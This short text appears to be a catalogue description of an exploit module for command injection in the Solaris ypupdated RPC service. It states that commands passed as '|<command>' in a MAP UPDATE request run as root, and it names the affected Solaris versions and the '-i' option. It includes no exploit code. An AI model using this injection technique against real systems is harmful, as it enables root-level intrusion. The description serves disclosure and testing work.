Solaris ypupdated Command Execution
This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9, and 10, when ypupdated is started with the '-i' command-line option.
